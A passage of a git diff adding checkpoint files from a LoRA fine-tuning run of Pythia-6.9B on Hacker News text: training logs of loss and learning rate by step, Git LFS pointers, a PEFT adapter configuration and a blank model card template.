{ + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.04601095405568e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..f32d7f73f49524e3669b58cf905d5340ca3ec3ac --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:165d4b86c78124f14226bd47df92a86f1c2125b6453d78e528e3e85166d4b770 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..5cbd0b1ae35ca9d8e5627439d64346a5b9b9f3bd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:54c7d272cba03978b0fa64d4981a4edb4d418c86a3181369a963f3632f278b91 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..5fdc5e50e381540856fecccc6c375074d1aa7b0a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:54abee51bb88479cda4bf77e85c2a545e7fb3c5e42f56d1baa63f1344dcc0529 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..f8f2b85f23363ba098112683059a3e46233b6bfc --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:01a563f529b13f402d286b14bda74d3530e1fcecb2bee786164bfa1339da3729 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..de71965dc2d578548945fc29576dace5fd1464bd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/trainer_state.json @@ -0,0 +1,693 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.866666666666667, + "eval_steps": 10, + "global_step": 440, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.20987167391744e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by 